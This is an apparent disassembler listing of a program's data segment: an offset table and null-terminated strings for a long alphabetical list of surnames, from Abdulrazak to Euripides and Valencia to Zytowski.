		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: seg002:off_43FB68o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: seg002:0043FB6Co
		align 4
aAdams		db 'Adams',0            ; DATA XREF: seg002:0043FB70o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: seg002:off_43FB74o
aAdelstein	db 'Adelstein',0        ; DATA XREF: seg002:0043FB78o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: seg002:0043FB7Co
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: seg002:0043FB80o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: seg002:0043FB84o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: seg002:0043FB88o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: seg002:0043FB8Co
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: seg002:0043FB90o
		align 4
aAleks		db 'Aleks',0            ; DATA XREF: seg002:0043FB94o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: seg002:0043FB98o
aAlongi		db 'Alongi',0           ; DATA XREF: seg002:0043FB9Co
		align 10h
aAltavilla	db 'Altavilla',0        ; DATA XREF: seg002:0043FBA0o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: seg002:0043FBA4o
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: seg002:0043FBA8o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: seg002:0043FBACo
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: seg002:0043FBB0o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: seg002:0043FBB4o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: seg002:0043FBB8o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: seg002:0043FBBCo
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: seg002:0043FBC0o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: seg002:0043FBC4o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: seg002:0043FBC8o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: seg002:0043FBCCo
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: seg002:0043FBD0o
		align 10h
aAnsley		db 'Ansley',0           ; DATA XREF: seg002:0043FBD4o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: seg002:0043FBD8o
aAntos		db 'Antos',0            ; DATA XREF: seg002:0043FBDCo
		align 4
aArbia		db 'Arbia',0            ; DATA XREF: seg002:0043FBE0o
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: seg002:0043FBE4o
aArellano	db 'Arellano',0         ; DATA XREF: seg002:0043FBE8o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: seg002:0043FBECo
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: seg002:0043FBF0o
		align 4
aArky		db 'Arky',0             ; DATA XREF: seg002:0043FBF4o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: seg002:0043FBF8o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: seg002:0043FBFCo
		align 4
aAurelius	db 'Aurelius',0         ; DATA XREF: seg002:0043FC00o
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: seg002:0043FC04o
aAxworthy	db 'Axworthy',0         ; DATA XREF: seg002:0043FC08o
		align 4
aAyiemba	db 'Ayiemba',0          ; DATA XREF: seg002:0043FC0Co
aAykroyd	db 'Aykroyd',0          ; DATA XREF: seg002:0043FC10o
aAyling		db 'Ayling',0           ; DATA XREF: seg002:0043FC14o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: seg002:0043FC18o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: seg002:0043FC1Co
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: seg002:0043FC20o
		align 4
aBady		db 'Bady',0             ; DATA XREF: seg002:0043FC24o
		align 10h
aBaglivo	db 'Baglivo',0          ; DATA XREF: seg002:0043FC28o
aBagnold	db 'Bagnold',0          ; DATA XREF: seg002:0043FC2Co
aBailar		db 'Bailar',0           ; DATA XREF: seg002:0043FC30o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: seg002:0043FC34o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: seg002:0043FC38o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: seg002:0043FC3Co
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: seg002:0043FC40o
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: seg002:0043FC44o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: seg002:0043FC48o
		align 10h
aBarabesi	db 'Barabesi',0         ; DATA XREF: seg002:0043FC4Co
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: seg002:0043FC50o
aBaranczak	db 'Baranczak',0        ; DATA XREF: seg002:0043FC54o
		align 10h
aBaranowska	db 'Baranowska',0       ; DATA XREF: seg002:0043FC58o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: seg002:0043FC5Co
aBarbetti	db 'Barbetti',0         ; DATA XREF: seg002:0043FC60o
		align 10h
aBarneson	db 'Barneson',0         ; DATA XREF: seg002:0043FC64o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: seg002:0043FC68o
aBarriola	db 'Barriola',0         ; DATA XREF: seg002:0043FC6Co
		align 10h
aBarry		db 'Barry',0            ; DATA XREF: seg002:0043FC70o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: seg002:0043FC74o
aBartolome	db 'Bartolome',0        ; DATA XREF: seg002:0043FC78o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: seg002:0043FC7Co
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: seg002:0043FC80o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: seg002:0043FC84o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: seg002:0043FC88o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: seg002:0043FC8Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: seg002:0043FC90o
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: seg002:0043FC94o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: seg002:0043FC98o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: seg002:0043FC9Co
		align 4
aBean		db 'Bean',0             ; DATA XREF: seg002:0043FCA0o
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: seg002:0043FCA4o
aBeder		db 'Beder',0            ; DATA XREF: seg002:0043FCA8o
		align 10h
aBedford	db 'Bedford',0          ; DATA XREF: seg002:0043FCACo
aBehenna	db 'Behenna',0          ; DATA XREF: seg002:0043FCB0o
aBelanger	db 'Belanger',0         ; DATA XREF: seg002:0043FCB4o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: seg002:0043FCB8o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: seg002:0043FCBCo
		align 10h
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: seg002:0043FCC0o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: seg002:0043FCC4o
		align 4
aBellhouse	db 'Bellhouse',0        ; DATA XREF: seg002:0043FCC8o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: seg002:0043FCCCo
aBelloc		db 'Belloc',0           ; DATA XREF: seg002:0043FCD0o
		align 4
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: seg002:0043FCD4o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: seg002:0043FCD8o
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: seg002:0043FCDCo
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: seg002:0043FCE0o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: seg002:0043FCE4o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: seg002:0043FCE8o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: seg002:0043FCECo
		align 4
aBetti		db 'Betti',0            ; DATA XREF: seg002:0043FCF0o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: seg002:0043FCF4o
aBiagioli	db 'Biagioli',0         ; DATA XREF: seg002:0043FCF8o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: seg002:0043FCFCo
		align 4
aBinion		db 'Binion',0           ; DATA XREF: seg002:0043FD00o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: seg002:0043FD04o
aBisema		db 'Bisema',0           ; DATA XREF: seg002:0043FD08o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: seg002:0043FD0Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: seg002:0043FD10o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: seg002:0043FD14o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: seg002:0043FD18o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: seg002:0043FD1Co
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: seg002:0043FD20o
		align 4
aBliss		db 'Bliss',0            ; DATA XREF: seg002:0043FD24o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: seg002:0043FD28o
aBloch		db 'Bloch',0            ; DATA XREF: seg002:0043FD2Co
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: seg002:0043FD30o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: seg002:0043FD34o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: seg002:0043FD38o
aBlyth		db 'Blyth',0            ; DATA XREF: seg002:0043FD3Co
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: seg002:0043FD40o
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: seg002:0043FD44o
		align 4
aBollinger	db 'Bollinger',0        ; DATA XREF: seg002:0043FD48o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: seg002:0043FD4Co
aBoner		db 'Boner',0            ; DATA XREF: seg002:0043FD50o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: seg002:0043FD54o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: seg002:0043FD58o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: seg002:0043FD5Co
		align 4
aBook		db 'Book',0             ; DATA XREF: seg002:0043FD60o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: seg002:0043FD64o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: seg002:0043FD68o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: seg002:0043FD6Co
		align 4
aBorack		db 'Borack',0           ; DATA XREF: seg002:0043FD70o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: seg002:0043FD74o
		align 4
aBossi		db 'Bossi',0            ; DATA XREF: seg002:0043FD78o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: seg002:0043FD7Co
aBotosh		db 'Botosh',0           ; DATA XREF: seg002:0043FD80o
		align 4
aBoudin		db 'Boudin',0           ; DATA XREF: seg002:0043FD84o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: seg002:0043FD88o
aBourneuf	db 'Bourneuf',0         ; DATA XREF: seg002:0043FD8Co
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: seg002:0043FD90o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: seg002:0043FD94o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: seg002:0043FD98o
		align 4
aBoyes		db 'Boyes',0            ; DATA XREF: seg002:0043FD9Co
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: seg002:0043FDA0o
aBoym		db 'Boym',0             ; DATA XREF: seg002:0043FDA4o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: seg002:0043FDA8o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: seg002:0043FDACo
		align 4
aBradac		db 'Bradac',0           ; DATA XREF: seg002:0043FDB0o
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: seg002:0043FDB4o
aBrecht		db 'Brecht',0           ; DATA XREF: seg002:0043FDB8o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: seg002:0043FDBCo
		align 4
aBrenan		db 'Brenan',0           ; DATA XREF: seg002:0043FDC0o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: seg002:0043FDC4o
aBrewer		db 'Brewer',0           ; DATA XREF: seg002:0043FDC8o
		align 10h
aBrewer_0	db 'Brewer',0           ; DATA XREF: seg002:0043FDCCo
		align 4
aBridgeman	db 'Bridgeman',0        ; DATA XREF: seg002:0043FDD0o
		align 4
aBridges	db 'Bridges',0          ; DATA XREF: seg002:0043FDD4o
aBrinton	db 'Brinton',0          ; DATA XREF: seg002:0043FDD8o
aBritz		db 'Britz',0            ; DATA XREF: seg002:0043FDDCo
		align 4
aBroca		db 'Broca',0            ; DATA XREF: seg002:0043FDE0o
		align 4
aBrook		db 'Brook',0            ; DATA XREF: seg002:0043FDE4o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: seg002:0043FDE8o
aBuchan		db 'Buchan',0           ; DATA XREF: seg002:0043FDECo
		align 4
aBudding	db 'Budding',0          ; DATA XREF: seg002:0043FDF0o
aBullard	db 'Bullard',0          ; DATA XREF: seg002:0043FDF4o
aBunton		db 'Bunton',0           ; DATA XREF: seg002:0043FDF8o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: seg002:0043FDFCo
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: seg002:0043FE00o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: seg002:0043FE04o
		align 4
aBurridge	db 'Burridge',0         ; DATA XREF: seg002:0043FE08o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: seg002:0043FE0Co
aByatt		db 'Byatt',0            ; DATA XREF: seg002:0043FE10o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: seg002:0043FE14o
		align 10h
aByrd		db 'Byrd',0             ; DATA XREF: seg002:0043FE18o
		align 4
aCage		db 'Cage',0             ; DATA XREF: seg002:0043FE1Co
		align 10h
aCalnan		db 'Calnan',0           ; DATA XREF: seg002:0043FE20o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: seg002:0043FE24o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: seg002:0043FE28o
		align 10h
aCanley		db 'Canley',0           ; DATA XREF: seg002:0043FE2Co
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: seg002:0043FE30o
aCaperton	db 'Caperton',0         ; DATA XREF: seg002:0043FE34o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: seg002:0043FE38o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: seg002:0043FE3Co
		align 4
aCappuccio	db 'Cappuccio',0        ; DATA XREF: seg002:0043FE40o
		align 10h
aCapursi	db 'Capursi',0          ; DATA XREF: seg002:0043FE44o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: seg002:0043FE48o
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: seg002:0043FE4Co
aCarlin		db 'Carlin',0           ; DATA XREF: seg002:0043FE50o
		align 4
aCarlos		db 'Carlos',0           ; DATA XREF: seg002:0043FE54o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: seg002:0043FE58o
aCarmichael	db 'Carmichael',0       ; DATA XREF: seg002:0043FE5Co
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: seg002:0043FE60o
		align 10h
aCarper		db 'Carper',0           ; DATA XREF: seg002:0043FE64o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: seg002:0043FE68o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: seg002:0043FE6Co
		align 4
aCase		db 'Case',0             ; DATA XREF: seg002:0043FE70o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: seg002:0043FE74o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: seg002:0043FE78o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: seg002:0043FE7Co
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: seg002:0043FE80o
		align 4
aCeniceros	db 'Ceniceros',0        ; DATA XREF: seg002:0043FE84o
		align 4
aCerioli	db 'Cerioli',0          ; DATA XREF: seg002:0043FE88o
aChapman	db 'Chapman',0          ; DATA XREF: seg002:0043FE8Co
aCharles	db 'Charles',0          ; DATA XREF: seg002:0043FE90o
aCheang		db 'Cheang',0           ; DATA XREF: seg002:0043FE94o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: seg002:0043FE98o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: seg002:0043FE9Co
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: seg002:0043FEA0o
		align 4
aChien		db 'Chien',0            ; DATA XREF: seg002:0043FEA4o
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: seg002:0043FEA8o
		align 4
aChilds		db 'Childs',0           ; DATA XREF: seg002:0043FEACo
		align 4
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: seg002:0043FEB0o
aChinman	db 'Chinman',0          ; DATA XREF: seg002:0043FEB4o
aChristenson	db 'Christenson',0      ; DATA XREF: seg002:0043FEB8o
aChristian	db 'Christian',0        ; DATA XREF: seg002:0043FEBCo
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: seg002:0043FEC0o
		align 4
aChristie	db 'Christie',0         ; DATA XREF: seg002:0043FEC4o
		align 4
aChristopher	db 'Christopher',0      ; DATA XREF: seg002:0043FEC8o
aChu		db 'Chu',0              ; DATA XREF: seg002:0043FECCo
aChupasko	db 'Chupasko',0         ; DATA XREF: seg002:0043FED0o
		align 4
aChurch		db 'Church',0           ; DATA XREF: seg002:0043FED4o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: seg002:0043FED8o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: seg002:0043FEDCo
		align 10h
aCifarelli	db 'Cifarelli',0        ; DATA XREF: seg002:0043FEE0o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: seg002:0043FEE4o
aClancy		db 'Clancy',0           ; DATA XREF: seg002:0043FEE8o
		align 4
aClark		db 'Clark',0            ; DATA XREF: seg002:0043FEECo
		align 4
aClement	db 'Clement',0          ; DATA XREF: seg002:0043FEF0o
aClifton	db 'Clifton',0          ; DATA XREF: seg002:0043FEF4o
aClow		db 'Clow',0             ; DATA XREF: seg002:0043FEF8o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: seg002:0043FEFCo
aCoito		db 'Coito',0            ; DATA XREF: seg002:0043FF00o
		align 4
aColdren	db 'Coldren',0          ; DATA XREF: seg002:0043FF04o
aColella	db 'Colella',0          ; DATA XREF: seg002:0043FF08o
aCollard	db 'Collard',0          ; DATA XREF: seg002:0043FF0Co
aCollis		db 'Collis',0           ; DATA XREF: seg002:0043FF10o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: seg002:0043FF14o
aCompton_0	db 'Compton',0          ; DATA XREF: seg002:0043FF18o
aComstock	db 'Comstock',0         ; DATA XREF: seg002:0043FF1Co
		align 4
aConcino	db 'Concino',0          ; DATA XREF: seg002:0043FF20o
aCondodina	db 'Condodina',0        ; DATA XREF: seg002:0043FF24o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: seg002:0043FF28o
aCorey		db 'Corey',0            ; DATA XREF: seg002:0043FF2Co
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: seg002:0043FF30o
aCosmides	db 'Cosmides',0         ; DATA XREF: seg002:0043FF34o
		align 10h
aCounter	db 'Counter',0          ; DATA XREF: seg002:0043FF38o
aCoutaux	db 'Coutaux',0          ; DATA XREF: seg002:0043FF3Co
aCrawford	db 'Crawford',0         ; DATA XREF: seg002:0043FF40o
		align 4
aCrocker	db 'Crocker',0          ; DATA XREF: seg002:0043FF44o
aCroshaw	db 'Croshaw',0          ; DATA XREF: seg002:0043FF48o
aCroxen		db 'Croxen',0           ; DATA XREF: seg002:0043FF4Co
		align 4
aCroxton	db 'Croxton',0          ; DATA XREF: seg002:0043FF50o
aCui		db 'Cui',0              ; DATA XREF: seg002:0043FF54o
aCurrier	db 'Currier',0          ; DATA XREF: seg002:0043FF58o
aCutler		db 'Cutler',0           ; DATA XREF: seg002:0043FF5Co
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: seg002:0043FF60o
		align 4
aCyders		db 'Cyders',0           ; DATA XREF: seg002:0043FF64o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: seg002:0043FF68o
aDaldalian	db 'Daldalian',0        ; DATA XREF: seg002:0043FF6Co
		align 4
aDaly		db 'Daly',0             ; DATA XREF: seg002:0043FF70o
		align 4
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: seg002:0043FF74o
aDanieli	db 'Danieli',0          ; DATA XREF: seg002:0043FF78o
aDante		db 'Dante',0            ; DATA XREF: seg002:0043FF7Co
		align 4
aDapice		db 'Dapice',0           ; DATA XREF: seg002:0043FF80o
		align 4
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: seg002:0043FF84o
aDas		db 'Das',0              ; DATA XREF: seg002:0043FF88o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: seg002:0043FF8Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: seg002:0043FF90o
aDavid		db 'David',0            ; DATA XREF: seg002:0043FF94o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: seg002:0043FF98o
aDegennaro	db 'DeGennaro',0        ; DATA XREF: seg002:0043FF9Co
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: seg002:0043FFA0o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: seg002:0043FFA4o
		align 4
aDerousse	db 'deRousse',0         ; DATA XREF: seg002:0043FFA8o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: seg002:0043FFACo
aDees		db 'Dees',0             ; DATA XREF: seg002:0043FFB0o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: seg002:0043FFB4o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: seg002:0043FFB8o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: seg002:0043FFBCo
		align 4
aDelger		db 'Delger',0           ; DATA XREF: seg002:0043FFC0o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: seg002:0043FFC4o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: seg002:0043FFC8o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: seg002:0043FFCCo
		align 10h
aDemusz		db 'Demusz',0           ; DATA XREF: seg002:0043FFD0o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: seg002:0043FFD4o
aDenham		db 'Denham',0           ; DATA XREF: seg002:0043FFD8o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: seg002:0043FFDCo
aDesombre	db 'Desombre',0         ; DATA XREF: seg002:0043FFE0o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: seg002:0043FFE4o
aDFini		db 'D',27h,'fini',0     ; DATA XREF: seg002:0043FFE8o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: seg002:0043FFECo
		align 4
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: seg002:0043FFF0o
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: seg002:0043FFF4o
aDifronzo	db 'Difronzo',0         ; DATA XREF: seg002:0043FFF8o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: seg002:0043FFFCo
		align 10h
aDionysius	db 'Dionysius',0        ; DATA XREF: seg002:00440000o
		align 4
aDirksen	db 'Dirksen',0          ; DATA XREF: seg002:00440004o
aDockery	db 'Dockery',0          ; DATA XREF: seg002:00440008o
aDoherty	db 'Doherty',0          ; DATA XREF: seg002:0044000Co
aDonahue	db 'Donahue',0          ; DATA XREF: seg002:00440010o
aDonner		db 'Donner',0           ; DATA XREF: seg002:00440014o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: seg002:00440018o
		align 4
aDore		db 'Dore',0             ; DATA XREF: seg002:0044001Co
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: seg002:00440020o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: seg002:00440024o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: seg002:00440028o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: seg002:0044002Co
		align 4
aDowsland	db 'Dowsland',0         ; DATA XREF: seg002:00440030o
		align 10h
aDrinker	db 'Drinker',0          ; DATA XREF: seg002:00440034o
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: seg002:00440038o
aDuffin		db 'Duffin',0           ; DATA XREF: seg002:0044003Co
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: seg002:00440040o
aDussault	db 'Dussault',0         ; DATA XREF: seg002:00440044o
		align 4
aDwyer		db 'Dwyer',0            ; DATA XREF: seg002:00440048o
		align 4
aEardley	db 'Eardley',0          ; DATA XREF: seg002:0044004Co
aEbeling	db 'Ebeling',0          ; DATA XREF: seg002:00440050o
aEckel		db 'Eckel',0            ; DATA XREF: seg002:00440054o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: seg002:00440058o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: seg002:0044005Co
		align 4
aEdward		db 'Edward',0           ; DATA XREF: seg002:00440060o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: seg002:00440064o
aEliasson	db 'Eliasson',0         ; DATA XREF: seg002:00440068o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: seg002:0044006Co
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: seg002:00440070o
		align 4
aElvis		db 'Elvis',0            ; DATA XREF: seg002:00440074o
		align 4
aEncinas	db 'Encinas',0          ; DATA XREF: seg002:00440078o
aEnyeart	db 'Enyeart',0          ; DATA XREF: seg002:0044007Co
aEppling	db 'Eppling',0          ; DATA XREF: seg002:00440080o
aErbach		db 'Erbach',0           ; DATA XREF: seg002:00440084o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: seg002:00440088o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: seg002:0044008Co
		align 4
aErez		db 'Erez',0             ; DATA XREF: seg002:00440090o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: seg002:00440094o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: seg002:00440098o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: seg002:0044009Co
		align 10h
aEuripides	db 'Euripides',0        ; DATA XREF: seg002:004400A0o
		align 4
